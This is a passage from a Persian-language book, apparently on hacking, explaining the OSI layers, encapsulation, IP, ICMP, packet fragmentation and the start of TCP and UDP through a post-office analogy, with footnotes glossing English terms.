‫ﻻﯾﻪ ‪ :Application‬اﯾﻦ ﻻﯾﻪ ﻣﺴﺌﻮل ﺛﺒﺖ ﻧﯿﺎزﻣﻨﺪﯾﻬﺎی ﺑﺮﻧﺎﻣﻪ اﺳﺖ‪.‬‬ ‫•‬
‫ﻫﻨﮕﺎﻣﯽ ﮐﻪ داده ﺑﻮاﺳﻄﻪ اﯾﻦ ﭘﺮوﺗﮑﻞ ﻫﺎ ﻣﺮاوده ﺷﺪ‪ ،‬در ﻗﻄﻌﻪ ﻫﺎﯾﯽ ﮐﻮﭼﮏ ﺑﻨﺎم ﺑﺴﺘﻪ )‪ (packet‬ارﺳﺎل ﻣﯽ ﺷـﻮد‪ .‬ﻫـﺮ‬
‫ﺑﺴﺘﻪ ﺣﺎوی ﯾﮏ ﭘﯿﺎده ﺳﺎزی از ﭘﺮوﺗﮑﻞ ﻫﺎی اﯾﻦ ﻻﯾﻪ ﻫﺎ اﺳـﺖ‪ .‬ﺑـﺴﺘﻪ ﺑـﺎ ﺷـﺮوع از ﻻﯾـﻪ ‪ ،application‬اﻃﻼﻋـﺎت ﻻﯾـﻪ‬
‫‪ presentation‬را ﺑﻪ دور داده ﻫﺎ ﻣﯽ ﭘﯿﭽﺎﻧﺪ )‪ (wrap‬و اﯾﻦ روﻧﺪ ﺗﺎ ﻻﯾﻪ ‪ physical‬اداﻣﻪ ﻣﯽ ﯾﺎﺑﺪ‪ .‬اﯾﻦ ﻓﺮآﯾﻨﺪ ﮐﭙـﺴﻮﻟﻪ‬
‫ﺳﺎزی )‪ (encapsulation‬ﻧﺎﻣﯿﺪه ﻣﯽ ﺷﻮد‪ .‬ﻫﺮ ﻻﯾﻪ ﭘﯿﭽﯿﺪه ﺷﺪه ﺑﻪ دور ﺑﺴﺘﻪ‪ ،‬ﺣﺎوی ﯾﮏ ﻫﺪر‪ 49‬و ﯾﮏ ﺑﺪﻧـﻪ‪ 50‬اﺳـﺖ‪:‬‬
‫ﻫﺪر ﺷﺎﻣﻞ اﻃﻼﻋﺎت ﭘﺮوﺗﮑﻠﯽِ ﻣﻮرد ﻧﯿﺎز ﺑﺮای آن ﻻﯾﻪ ﻣﯿﺒﺎﺷﺪ‪ .‬ﻗﺴﻤﺖ ﺑﺪﻧﻪ ﻧﯿﺰ ﺣـﺎوی داده ﻫـﺎی آن ﻻﯾـﻪ اﺳـﺖ‪ .‬ﺑﺪﻧـﻪ‬
‫ﻣﺮﺑﻮط ﺑﻪ ﯾﮏ ﻻﯾﻪ‪ ،‬ﺷﺎﻣﻞ ﮐﻞ ﺑﺴﺘﻪ ای )‪ (package‬اﺳﺖ ﮐﻪ از ﻻﯾﻪ ﻫﺎی ﻗﺒﻠﯽ ﮐﭙﺴﻮﻟﻪ ﺳﺎزی ﺷﺪه اﺳﺖ‪ .‬ﻣﺎﻧﻨـﺪ ﭘﻮﺳـﺖ‬
‫ﯾﮏ ﭘﯿﺎز ﯾﺎ زﻣﯿﻨﻪ ﻫﺎی ﺗﺎﺑﻌﯽ در ﭘﺸﺘﻪ ی ﯾﮏ ﺑﺮﻧﺎﻣﻪ‪.‬‬
‫ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﺑﺮﻧﺎﻣﻪ ﻫﺎی ﻣﻮﺟﻮد روی دو ﺷﺒﮑﻪ ﺧﺼﻮﺻﯽ ﻣﺘﻔﺎوت‪ ،‬از ﻃﺮﯾﻖ اﯾﻨﺘﺮﻧﺖ ﺑﺎ ﯾﮑﺪﯾﮕﺮ ﻣﺮاوده ﻣـﯽ ﮐﻨﻨـﺪ‪ ،‬ﺑـﺴﺘﻪ‬
‫ﻫﺎی اﻃﻼﻋﺎﺗﯽ در ﻻﯾﻪ ‪) physical‬ﮐﻪ از آﻧﺠﺎ ﺑﻪ ﯾﮏ ﻣﺴﯿﺮﯾﺎب ﻫﺪاﯾﺖ ﻣﯽ ﺷﻮﻧﺪ( ﮐﭙﺴﻮﻟﻪ ﻣﯽ ﺷﻮﻧﺪ‪ .‬ﻣﺴﯿﺮﯾﺎب ﺗـﻮﺟﻬﯽ‬
‫ﺑﻪ ﭼﯿﺰﻫﺎی ﻣﻮ ﺟﻮد در ﺑﺴﺘﻪ ﻫﺎ ﻧﺪارد و ﻓﻘﻂ ﭘﺮوﺗﮑﻞ ﻫﺎی ﻻﯾﻪ ‪ network‬را ﭘﯿﺎده ﺳﺎزی ﻣﯽ ﮐﻨﺪ‪ .‬ﻣﺴﯿﺮﯾﺎب ﺑﺴﺘﻪ ﻫﺎ را‬
‫ﺑﻪ اﯾﻨﺘﺮﻧﺖ ﻣﯽ ﻓﺮﺳﺘﺪ‪ ،‬ﺳﭙﺲ اﯾﻦ ﺑﺴﺘﻪ ﻫﺎ ﺑﻪ ﯾﮏ ﻣﺴﯿﺮﯾﺎب در ﺷﺒﮑﻪ ﻣﻘﺎﺑﻞ ﻣـﯽ رﺳـﻨﺪ‪ .‬ﺳـﭙﺲ ﻣـﺴﯿﺮﯾﺎب ﺑـﺴﺘﻪ را ﺑـﺎ‬
‫ﻫﺪرﻫﺎی ﭘﺮوﺗﮑﻠﯽ ﻻﯾﻪ‪-‬ﭘﺎﺋﯿﻦ ﺗﺮ و ﻣﻠﺰوم ﮐﭙﺴﻮﻟﻪ ﻣﯽ ﮐﻨﺪ ﺗﺎ ﺑﻪ ﻣﻘﺼﺪ ﻧﻬﺎﯾﯽ ﺧﻮد ﺑﺮﺳـﺪ‪ .‬اﯾـﻦ ﻓﺮآﯾﻨـﺪ در ﺗـﺼﻮﯾﺮ زﯾـﺮ‬
‫ﻧﺸﺎن داده ﺷﺪه اﺳﺖ‪.‬‬

‫‪47‬‬
‫‪middle ground‬‬
‫‪48‬ﻣﻨﻈﻮر از واژه ﺷﻔﺎف ﯾﺎ ‪ transparent‬اﯾﻦ اﺳﺖ ﮐﻪ اﮔﺮﭼﻪ دﯾﮕﺮ ﻻﯾﻪ ﻫﺎ ﻧﯿﺰ وﻇﯿﻔﻪ اﻧﺘﻘﺎل اﻃﻼﻋﺎت را ﺑﻪ ﻻﯾﻪ ﻫﺎی دﯾﮕﺮ ﺑﺮ ﻋﻬﺪه دارﻧﺪ‪ ،‬اﻣﺎ‬
‫اﻧﺘﻘﺎل اﺻﻠﯽ و ﻣﺤﺴﻮس اﻃﻼﻋﺎت در اﯾﻦ ﻻﯾﻪ رخ ﻣﯽ دﻫﺪ‪.‬‬
‫‪49‬‬
‫‪Header‬‬
‫‪50‬‬
‫‪Body‬‬
‫‪116‬‬
‫اﯾﻦ ﻓﺮآﯾﻨﺪ را ﻣﯽ ﺗﻮان ﺑﻪ ﻋﻨﻮان ﯾﮏ ﺗﺎﺳﯿﺴﺎت ﺑﯿﻦ اداری ﭘﯿﭽﯿﺪه ﻓﺮض ﮐﺮد‪ .‬در ﻫﺮ ﻻﯾـﻪ‪ ،‬ﭘﺬﯾﺮﺷـﮕﺮی ﻣـﺎﻫﺮ وﺟـﻮد‬
‫دارد ﮐﻪ ﺗﻨﻬﺎ زﺑﺎن و ﭘﺮوﺗﮑﻞِ ﻻﯾﻪ ﺧﻮد را ﻣﯽ ﻓﻬﻤﺪ‪ .‬ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﺑﺴﺘﻪ ﻫﺎی اﻃﻼﻋـﺎﺗﯽ ﻣﻨﺘﻘـﻞ ﻣـﯽ ﺷـﻮﻧﺪ‪ ،‬ﻫـﺮ ﭘﺬﯾﺮﺷـﮕﺮ‬
‫ﻋﻤﻠﯿﺎت ﻻزم ﺑﺮای ﻻﯾﻪ ﺧﻮد را اﻧﺠﺎم ﻣﯽ دﻫﺪ؛ ﺑﺴﺘﻪ را در ﯾﮏ ﭘﺎﮐﺖ ﺑـﯿﻦ اداری ﻗـﺮار داده‪ ،‬ﻫـﺪر را در ﺧـﺎرج آن ﻣـﯽ‬
‫ﻧﻮﯾﺴﺪ و آﻧﺮا ﺑﻪ ﭘﺬﯾﺮﺷﮕﺮ ﻣﻮﺟﻮد در ﻻﯾﻪ ﺑﻌﺪی اﻧﺘﻘﺎل ﻣﯽ دﻫﺪ و اﯾﻦ روﻧﺪ ﺑﻪ ﻫﻤﯿﻦ ﻣﻨﻮال اداﻣﻪ ﻣﯽ ﯾﺎﺑﺪ‪.‬‬
‫ﻫﺮ ﭘﺬﯾﺮﺷﮕﺮ‪ ،‬ﺗﻨﻬﺎ آﮔﺎه ﺑﻪ وﻇﺎﯾﻒ و ﻧﻘﺶ ﻫﺎی ﻻﯾﻪ ﺧﻮدش اﺳﺖ‪ .‬اﯾﻦ ﻧﻘﺶ ﻫﺎ و ﻣﺴﺌﻮﻟﯿﺖ ﻫﺎ در ﯾﮏ ﭘﺮوﺗﮑﻞ ﺻـﺮﯾﺢ‬
‫)‪ (strict‬ﺗﻌﺮﯾﻒ ﺷﺪه اﻧﺪ و ﺑﻪ ﻣﺤﺾ ﯾﺎدﮔﯿﺮی ﭘﺮوﺗﮑﻞ‪ ،‬ﻧﯿﺎز ﺑﻪ ﻫﻮش واﻗﻌﯽ )ﺟﻬﺖ ﻓﻬﻢ و اﺟﺮای ﻣﻄﻠﻮب وﻇﯿﻔﻪ ﺧـﻮد(‬
‫را ﺣﺬف ﻣﯽ ﺷﻮد‪ .‬ﻣﻤﮑﻦ اﺳﺖ اﯾﻦ ﻧﻮع ﮐﺎرﻫﺎی ﻧﻔﺲ ﮔﯿﺮ و ﺗﮑﺮاری ﺑﺮای اﻧﺴﺎﻧﻬﺎ ﻣﻄﻠﻮب ﻧﺒﺎﺷﺪ‪ ،‬اﻣﺎ ﯾﮏ وﻇﯿﻔﻪ اﯾﺪه ال‬
‫ﺑﺮای ﮐﺎﻣﭙﯿﻮﺗﺮ ﻣﺤﺴﻮب ﻣﯽ ﺷﻮد‪ .‬ﺧﻼﻗﯿﺖ و ﻫﻮش ﺑﺸﺮی در ﻃﺮاﺣﯽ ﭘﺮوﺗﮑﻞ ﻫﺎﯾﯽ از اﯾﻦ دﺳﺖ‪ ،‬ﺗﻮﻟﯿـﺪ ﺑﺮﻧﺎﻣـﻪ ﻫـﺎﯾﯽ‬
‫ﺟﻬﺖ ﭘﯿﺎده ﺳﺎزی و اﺟﺮای آﻧﻬﺎ و اﺑﺪاع ﻫﮏ ﻫﺎﯾﯽ ﮐﻪ از آﻧﻬﺎ ﺟﻬﺖ ﻧﯿﻞ ﺑﻪ ﻧﺘﺎﯾﺞ ﺟﺎﻟﺐ و ﻏﯿﺮﻗﺎﺑﻞ ﭘـﯿﺶ ﺑﯿﻨـﯽ اﺳـﺘﻔﺎده‬
‫ﻣﯽ ﮐﻨﻨﺪ‪ ،‬ﻧﻘﺶ ﻧﻘﺶ اﺳﺎﺳﯽ داﺷﺘﻪ و ﺑﯿﺸﺘﺮ ﻧﻤﻮدار ﻣﯽ ﺷﻮد‪ .‬اﻣﺎ در راﺳﺘﺎی ﻫﺮ ﻋﻤﻠﯿﺎت ﻫﮏ‪ ،‬ﻗﺒﻞ از ﻗﺮار دادن ﻗـﻮاﻧﯿﻦ‬
‫ﺳﯿﺴﺘﻢ در ﮐﻨﺎر ﯾﮑﺪﯾﮕﺮ ﺑﻪ ﺻﻮرت ﻧﻮﯾﻦ‪ ،‬ﺑﺎﯾﺪ درک ﺻﺤﯿﺤﯽ از آﻧﻬﺎ داﺷﺖ‪.‬‬

‫‪ .3,2‬ﺟﺰﺋﯿﺎت ﻻﯾﻪ ﻫﺎی ﻣﻬﻢ‬

‫ﻻﯾﻪ ﺷﺒﮑﻪ‪ ،‬ﻻﯾﻪ اﻧﺘﻘﺎل )‪ (transport‬در ﺑـﺎﻻی آن‪ ،‬و ﻻﯾـﻪ ‪ Data-Link‬در زﯾـﺮ آن‪ ،‬ﻫﻤﮕـﯽ ﺻـﻔﺎت ﻋﺠﯿﺒـﯽ دارﻧـﺪ ﮐـﻪ‬
‫ﻗﺎﺑﻠﯿﺖ اﮐﺴﭙﻠﻮﯾﺖ ﺷﺪن را دارﻧﺪ‪ .‬ﭘﺲ از ﺗﻮﺿﯿﺢ اﯾﻦ ﻻﯾـﻪ ﻫـﺎ ﻣـﯽ ﺗﻮاﻧﯿـﺪ اﻗـﺪام ﺑـﻪ ﺗـﺸﺨﯿﺺ ﻧﺎﺣﯿـﻪ ﻫـﺎﯾﯽ ﮐﻨﯿـﺪ ﮐـﻪ‬
‫ﺧﻄﺮﭘﺬﯾﺮی آﻧﻬﺎ در ﺑﺮاﺑﺮ ﺣﻤﻠﻪ زﯾﺎد ﺑﺎﺷﺪ‪.‬‬

‫‪ .3,2,1‬ﻻﯾﻪ ﺷﺒﮑﻪ )‪(Network‬‬

‫ﺑﺎ ﻣﻘﺎﯾﺴﻪ ﭘﺬﯾﺮﺷﮕﺮ و ﺑﻮروﮐﺮاﺳﯽ ﻣﻮﺟﻮد‪ ،‬ﻻﯾﻪ ﺷﺒﮑﻪ ﺷﺒﯿﻪ ﺑﻪ ﺳﺮوﯾﺲ ﭘﺴﺘﯽ ﺟﻬﺎﻧﯽ اﺳﺖ‪ :‬ﺟﻬﺖ ﻓﺮﺳﺘﺎدن اﺷﯿﺎ ﺑﻪ ﻫـﺮ‬
‫ﻣﮑﺎن‪ ،‬ﯾﮏ روش ﻧﺸﺎﻧﯽ دﻫﯽ )‪ (addressing‬و ﺗﺤﻮﯾـﻞ )‪ (delivery‬ﻣـﻮرد اﺳـﺘﻔﺎده ﻗـﺮار ﻣـﯽ ﮔﯿـﺮد‪ .‬ﭘﺮوﺗﮑـﻞ ﻣـﻮرد‬
‫اﺳﺘﻔﺎده روی اﯾﻦ ﻻﯾﻪ ﺟﻬﺖ ﻧﺸﺎﻧﯽ دﻫﯽ و ﺗﺤﻮﯾﻞ اﯾﻨﺘﺮﻧﺘﯽ‪ ،‬ﭘﺮوﺗﮑﻞ اﯾﻨﺘﺮﻧﺖ )‪ 51(IP‬ﻧﺎﻣﯿﺪه ﻣﯽ ﺷﻮد‪ .‬اﮐﺜﺮﯾﺖ اﯾﻨﺘﺮﻧﺖ‬
‫از ﻧﺴﺨﻪ ﭼﻬﺎرم‪ IP‬اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ‪ ،‬ﻟﺬا ﻏﯿﺮ از ﻣﻮاردی ﮐﻪ ﻣﺴﺘﻘﯿﻤﺎ ذﮐﺮ ﺷﻮد‪ ،‬ﻋﺒﺎرت ‪ IP‬در اﯾﻦ ﮐﺘـﺎب اﺷـﺎره ﺑـﻪ اﯾـﻦ‬
‫ﻧﺴﺨﻪ دارد‪ .‬ﻫﺮ ﺳﯿﺴﺘﻢ در اﯾﻨﺘﺮﻧﺖ )ﯾﺎ ﺑﻬﺘﺮ ﺑﮕﻮﺋﯿﻢ ﯾﮏ ﺷﺒﮑﻪ( ﯾﮏ آدرس ‪ IP‬دارد‪ .‬اﯾﻦ آدرس ﺷﺎﻣﻞ ﯾﮏ آراﯾﺶ از‬

‫‪51‬‬
‫‪Internet Protocol‬‬
‫‪117‬‬
‫ﭼﻬﺎرﺑﺎﯾﺘﯽ ﻫﺎﯾﯽ اﺳﺖ ﮐﻪ ﺑﻪ ﺻﻮرت ‪ xx.xx.xx.xx‬ﻫﺴﺘﻨﺪ و ﻣﺴﻠﻤﺎ ﺑﺮای ﺷﻤﺎ آﺷﻨﺎ ﺑﻪ ﻧﻈﺮ ﻣﯽ آﯾﻨﺪ‪ .‬در اﯾﻦ ﻻﯾﻪ‪ ،‬ﺑـﺴﺘﻪ‬
‫و اﺷـﮑﺎل‬ ‫ﻫﺎی ‪ IP‬و ‪ ICMP‬وﺟﻮد دارﻧﺪ‪ .‬ﺑﺴﺘﻪ ﻫﺎی ‪ IP‬ﺑﺮای ارﺳﺎل اﻃﻼﻋﺎت و ﺑﺴﺘﻪ ﻫﺎی ‪ ICMP‬ﺑﺮای ﭘﯿﺎم رﺳﺎﻧﯽ‬
‫‪52‬‬

‫ﯾﺎﺑﯽ‪ 53‬ﻣﻮرد اﺳﺘﻔﺎده ﻗﺮار ﻣﯽ ﮔﯿﺮﻧﺪ‪ IP .‬در ﻣﻘﺎﯾﺴﻪ ﺑﺎ اداره ﭘﺴﺖ ﺗﻤﺜﯿﻠﯽِ ﯾﺎد ﺷﺪه‪ ،‬ﻗﺎﺑﻠﯿﺖ اﻃﻤﯿﻨﺎن ﮐﻤﺘﺮی دارد‪ ،‬ﯾﻌﻨـﯽ‬
‫ﻫﯿﭻ ﺗﻀﻤﯿﻨﯽ وﺟﻮد ﻧﺪارد ﮐﻪ ﯾﮏ ﺑﺴﺘﻪ ‪ IP‬ﺑﻪ ﻣﻘﺼﺪ ﻧﻬﺎﯾﯽ ﺧﻮدش ﺑﺮﺳـﺪ‪ .‬اﮔـﺮ اﺷـﮑﺎﻟﯽ رخ دﻫـﺪ‪ ،‬ﯾـﮏ ﺑـﺴﺘﻪ ‪ICMP‬‬
‫ﺑﺮای آﮔﺎه ﮐﺮدن ﻓﺮﺳﺘﻨﺪه ی اﯾﻦ اﺷﮑﺎل ﺑﺮﮔﺮداﻧﺪه ﺧﻮاﻫﺪ ﺷﺪ‪.‬‬
‫ﻣﻌﻤﻮﻻ ‪ ICMP‬ﺑﺮای ﺗﺴــــﺖ ﮐﺮدن اﺗــــــﺼﺎل ﻧــــــــﯿﺰ اﺳــــــــــﺘﻔﺎده ﻣـﯽ ﺷــــﻮد‪ .‬ﭘـــــﯿـــــــــﺎم ﻫــــــــﺎی‬
‫‪ ICMP Echo Request‬و ‪ ICMP Echo Reply‬ﺗﻮﺳﻂ اﺑﺰاری ﺗﺤﺖ ﻋﻨﻮان ‪ ping‬ﻣﻮرد اﺳﺘﻔﺎده ﻗـﺮار ﻣـﯽ ﮔﯿﺮﻧـﺪ‪.‬‬
‫اﮔﺮ ﯾﮏ ﻣﯿﺰﺑﺎن ﺑﺨﻮاﻫﺪ اﻣﮑﺎن ﻫﺪاﯾﺖ ﯾﺎ اﻧﺘﻘﺎل ﺗﺮاﻓﯿﮏ را ﺑﻪ ﯾﮏ ﻣﯿﺰﺑﺎن دﯾﮕﺮ ﺑﺮرﺳـﯽ ﮐﻨـﺪ‪ ،‬ﻣﯿﺰﺑـﺎن راه دور‪ 54‬را ﺑـﺎ‬
‫ﯾﮏ ‪ ICMP Echo Request‬ﭘﯿﻨﮓ ﻣﯽ ﮐﻨﺪ‪ .‬ﺑﻪ ﻣﺤﺾ درﯾﺎﻓﺖ اﯾﻦ درﺧﻮاﺳﺖ‪ ،‬ﻣﯿﺰﺑـﺎن راه دور ﯾـﮏ ‪ICMP Echo‬‬
‫‪ Reply‬ﺑﺎز ﻣﯽ ﮔﺮداﻧﺪ‪ .‬اﯾﻦ ﭘﯿﺎم ﻫﺎ ﺑﺮای ﺗﻌﯿﯿﻦ دوره اﺗﺼﺎل )ﯾﺎ ﻋﮑﺲ اﻟﻌﻤﻞ(‪ 55‬ﺑﯿﻦ دو ﻣﯿﺰﺑﺎن اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد‪ .‬ﺑﻪ ﻫﺮ‬
‫ﺣﺎل‪ ،‬ﺑﻪ ﺧﺎﻃﺮ داﺷﺘﻪ ﺑﺎﺷﯿﺪ ﮐﻪ ‪ ICMP‬و ‪ IP‬ﻫﺮ دو ﺑﺪون اﺗﺼﺎل ﻫﺴﺘﻨﺪ و ﺗﻤﺎم ﻫﻢ و ﻏﻢ اﯾﻦ ﻻﯾﻪ رﺳﺎﻧﺪن ﯾﮏ ﺑﺴﺘﻪ ﺑـﻪ‬
‫آدرس ﻣﻘﺼﺪ آن ﻣﯽ ﺑﺎﺷﺪ‪.‬‬
‫ﺑﻌﻀﯽ ﻣﻮاﻗﻊ ﮐﺎﺑﻞ ﯾﺎ اﺗﺼﺎل ﺷﺒﮑﻪ اﻧﺪازه ﺑﺴﺘﻪ را ﻣﺤﺪود ﻣﯽ ﮐﻨﺪ و ﺑﻪ اﯾـﻦ ﺻـﻮرت اﻣﮑـﺎن اﻧﺘﻘـﺎل ﺑـﺴﺘﻪ ﻫـﺎی ﺑﺰرﮔﺘـﺮ‬
‫ﻧﺨﻮاﻫﺪ ﺑﻮد‪ IP .‬ﺑﺎ ﺑﺎ ﻗﻄﻌﻪ ﻗﻄﻌﻪ ﮐﺮدن ﺑﺴﺘﻪ ﻫﺎ اﯾﻦ ﻣﺸﮑﻞ را رﻓﻊ ﻣﯽ ﮐﻨﺪ‪ .‬ﺑﻪ ﺻﻮرت زﯾﺮ‪:‬‬

‫ﺑﺴﺘﻪ ﺑﻪ ﻗﻄﻌﺎتِ‪ 56‬ﺑﺴﺘﻪ ای ﮐﻮﭼﮑﺘﺮی ﺧﺮد ﻣﯽ ﺷﻮد )ﮐﻪ ﺑﻪ ﻫﺮ ﮐﺪام از آﻧﻬﺎ ﯾﮏ ‪ Fragment‬ﻣﯽ ﮔﻮﯾﯿﻢ( ﮐﻪ ﻣﯽ ﺗﻮاﻧﻨﺪ‬
‫از ﮐﺎﺑﻞ ﺷﺒﮑﻪ ﻋﺒﻮر ﮐﻨﻨﺪ‪ .‬ﻫﺪرﻫﺎی ‪ IP‬روی ﻫﺮ ﻗﻄﻌﻪ ﻗﺮار داده ﺷﺪه و ﭘﺲ از آن ارﺳﺎل ﻣـﯽ ﺷـﻮﻧﺪ‪ .‬ﻫـﺮ ﻗﻄﻌـﻪ دارای‬
‫ﻣﻘﺪار ﻣﺘﻔﺎوﺗﯽ ﺑﺮای ﻓﯿﻠﺪِ ‪ fragment offset‬ﻣﻮﺟﻮد در ﻫﺪر اﺳـﺖ‪ .‬ﻫﻨﮕـﺎم درﯾــــﺎﻓﺖ اﯾـﻦ ﻗﻄﻌـﺎت ﺗﻮﺳـﻂ ﻣﻘـﺼﺪ‪،‬‬
‫ﻣﻘﺎدﯾﺮ ‪ fragment offset‬ﺟﻬﺖ ﺳﺮﻫﻢ ﺳﺎزی ﻗﻄﻌﻪ ﻫﺎ و ﺗﺒﺪﯾﻞ آﻧﻬﺎ ﺑﻪ ﺑﺴﺘﻪ ‪ IP‬اوﻟﯿﻪ اﺳﺘﻔﺎده ﻣـﯽ ﺷـﻮﻧﺪ )اﯾـﻦ ﻋﻤـﻞ‬
‫‪ Reassembly‬ﻧﺎم دارد(‪ .‬ﺗﺪارﮐﺎﺗﯽ ﻣﺎﻧﻨﺪ ﻗﻄﻌﻪ ﻗﻄﻌﻪ ﺳﺎزی ﺑﻪ ﺗﺤﻮﯾـﻞ ﺑـﺴﺘﻪ ﻫـﺎی ‪ IP‬ﮐﻤـﮏ ﺧﻮاﻫﻨـﺪ ﮐـﺮد‪ .‬اﻣـﺎ اﯾـﻦ‬
‫ﻋﻤﻠﯿﺎت‪ ،‬ﮐﺎر ﺧﺎﺻﯽ را در راﺳﺘﺎی ﺑﺮﻗﺮاری ارﺗﺒﺎﻃﺎت ﯾﺎ ﺣﺼﻮل اﻃﻤﯿﻨﺎن از ﺗﺤﻮﯾﻞ ﺑﺴﺘﻪ اﻧﺠﺎم ﻧﻤﯽ دﻫﻨﺪ‪ .‬در اﯾﻨﺠﺎﺳـﺖ‬
‫ﮐﻪ ﺑﻪ ﻻﯾﻪ دﯾﮕﺮی از اﯾﻦ رﺷﺘﻪ ﭘﺮوﺗﮑﻞ‪ ،‬ﯾﻌﻨﯽ ﻻﯾﻪ اﻧﺘﻘﺎل ﻣﯽ رﺳﯿﻢ ﮐﻪ وﻇﯿﻔﻪ دﺳﺖ و ﭘﻨﺠﻪ ﻧﺮم ﮐﺮدن ﺑﺎ اﯾﻦ ﻣـﺸﮑﻼت‬
‫را دارد‪.‬‬

‫‪52‬‬
‫‪Messaging‬‬
‫‪53‬‬
‫‪Diagnostic‬‬
‫‪54‬‬
‫‪Remote‬‬
‫‪55‬‬
‫‪Connection Latency‬‬
‫‪56‬‬
‫‪Fragment‬‬
‫‪118‬‬
‫‪ .3,2,2‬ﻻﯾﻪ اﻧﺘﻘﺎل )‪(Transport‬‬

‫ﻻﯾﻪ اﻧﺘﻘﺎل ﻣﯽ ﺗﻮاﻧﺪ ﺑﻪ ﻋﻨﻮان ﺧﻂ ﻧﺨﺴﺖ از ﭘﺬﯾﺮﺷﮕﺮﻫﺎ ﻣﺤﺴﻮب ﺷـﻮد ﮐـﻪ ﻧﺎﻣـﻪ را از ﻻﯾـﻪ ﺷـﺒﮑﻪ ﺑـﺮ ﻣـﯽ دارد‪ .‬اﮔـﺮ‬
‫ﻣﺸﺘﺮی ﺑﺨﻮاﻫﺪ ﻗﻄﻌﻪ ای ﻣﻌﯿﻮب از ﮐﺎﻻ را ﺑﺮ ﮔﺸﺖ دﻫﺪ‪ ،‬ﭘﯿﺎﻣﯽ را ارﺳﺎل ﻣﯽ دارد ﮐﻪ درﺧﻮاﺳﺖ ﯾـﮏ ﺷـﻤﺎره ‪RMA‬‬
‫)اﺟﺎزه ﻧﺎﻣﻪ ﻣﺎده ﺑﺮﮔﺸﺘﯽ(‪ 57‬را ﻣﯽ ﮐﻨﺪ‪ .‬آﻧﮕﺎه ﭘﺬﯾﺮﺷﮕﺮ‪ ،‬ﭘﯿﺮوِ ﭘﺮوﺗﮑﻞِ ﺑﺎزﮔﺸﺘﯽ‪ ،‬ﺗﻘﺎﺿﺎی ﯾـﮏ رﺳـﯿﺪ ﮐـﺮده و ﻧﻬﺎﯾﺘـﺎ‬
‫ﯾﮏ ﺷﻤﺎره ‪ RMA‬را ﺻﺎدر ﻣﯽ ﮐﻨﺪ‪ .‬ﺑﻪ اﯾﻦ ﺻﻮرت ﻣﺸﺘﺮی ﻣﺤﺼﻮل را ﺑﺎ آن ﭘﺴﺖ ﻣﯽ ﮐﻨـﺪ‪ .‬اداره ﭘـﺴﺖ ﺗﻨﻬـﺎ وﻇﯿﻔـﻪ‬
‫ﺗﺒﺎدل اﯾﻦ ﭘﯿﺎم ﻫﺎ )و ﺑﺴﺘﻪ ﻫﺎ( را دارد و ﮐﺎری ﺑﻪ ﻣﻔﺎد درون اﯾﻦ ﭘﯿﺎم ﻫﺎ ﻧﺪارد‪.‬‬
‫دو ﭘﺮوﺗﮑﻞ ﻣﻬﻢ در اﯾﻦ ﻻﯾﻪ‪ TCP ،‬و ‪ UDP‬ﻫﺴﺘﻨﺪ‪ TCP .‬ﭘﺮ اﺳﺘﻔﺎده ﺗﺮﯾﻦ ﭘﺮوﺗﮑـﻞ ﺑـﺮای ﺳـﺮوﯾﺲ ﻫـﺎی اﯾﻨﺘﺮﻧﺘـﯽ‬
‫اﺳــﺖ‪ :‬ﺗﻠﻨــﺖ‪ ،‬ﺗﺮاﻓﯿــﮏ وب )‪ ،(HTTP‬ﺗﺮاﻓﯿــﮏ اﯾﻤﯿــﻞ )‪ (SMTP‬و اﻧﺘﻘــﺎﻻت ﻓﺎﯾﻠﻬــﺎ )‪ (FTP‬ﻫﻤﮕــﯽ از ‪ TCP‬اﺳــﺘﻔﺎده‬
‫ﻣﯿﮑﻨﻨﺪ‪ .‬ﯾﮑﯽ از دﻻﯾﻞ ﻣﺤﺒﻮﺑﯿﺖ ‪ ،TCP‬اراﺋﻪ ﯾﮏ اﺗﺼﺎل ﺷﻔﺎف‪ ،‬ﻗﺎﺑﻞ اﻃﻤﯿﻨﺎن و دو ﺟﻬﺘﻪ ﺑﯿﻦ دو آدرس ‪ IP‬اﺳـﺖ‪ .‬ﯾـﮏ‬
‫اﺗﺼﺎل دو ﺟﻬﺘﻪ در ‪ TCP‬ﺷﺒﯿﻪ ﺑﻪ اﺳﺘﻔﺎده از ﯾﮏ ﺗﻠﻔﻦ اﺳﺖ– ﭘﺲ از ﺷﻤﺎره ﮔﯿﺮی‪ ،‬اﺗـﺼﺎﻟﯽ ﺑـﯿﻦ دو ﻃـﺮف اﯾﺠـﺎد ﻣـﯽ‬
‫ﺷﻮد ﮐﻪ ﺑﺪان وﺳﯿﻠﻪ ﻣﯿﺘﻮاﻧﻨﺪ ﺑﺎ ﯾﮑﺪﯾﮕﺮ ﮔﻔﺖ و ﮔﻮ ﮐﻨﻨﺪ‪ .‬ﻗﺎﺑﻠﯿﺖ اﻋﺘﻤﺎد ﺑﻪ ﻃﻮر ﺳـﺎده ﯾﻌﻨـﯽ‪ ،‬ﺣـﺼﻮل اﻃﻤﯿﻨـﺎن ﺗﻮﺳـﻂ‬
‫‪ TCP‬از رﺳﯿﺪن ﺗﻤﺎم اﻃﻼﻋﺎت ﺑﻪ ﺗﺮﺗﯿﺐ و وﺿﻌﯿﺖ ﻣﻨﺎﺳﺐ ﺧﻮد‪ .‬اﮔﺮ ﺑﺴﺘﻪ ﻫﺎی ﯾﮏ اﺗﺼﺎل ﻧﺎ ﻣﺮﺗﺐ )در ﻫﻢ رﯾﺨﺘـﻪ( و‬
‫ﺧﺎرج از ﻧﻈﻢ درﯾﺎﻓﺖ ﺷﻮﻧﺪ‪ TCP ،‬ﻗﺒﻞ از ﺗﺤﻮﯾﻞ اﻃﻼﻋﺎت ﺑﻪ ﻻﯾﻪ ﺑﻌﺪی از ﻗﺮار ﮔﯿﺮی آﻧﻬﺎ در ﻧﻈـﻢ و ﺗﺮﺗﯿـﺐ ﻣﻨﺎﺳـﺐ‬
‫ﺧﻮد اﻃﻤﯿﻨﺎن ﺣﺎﺻﻞ ﻣﯿﮑﻨﺪ‪ .‬در ﺻﻮرت از ﺑﯿﻦ رﻓﺘﻦ ﺑﺮﺧﯽ از ﺑﺴﺘﻪ ﻫﺎ در ﯾﮏ اﺗﺼﺎل‪ ،‬ﻣﻘﺼﺪ‪ ،‬ﺑﺴﺘﻪ ﻫﺎی درﯾﺎﻓﺘﯽ را ﻧﮕﺎه‬
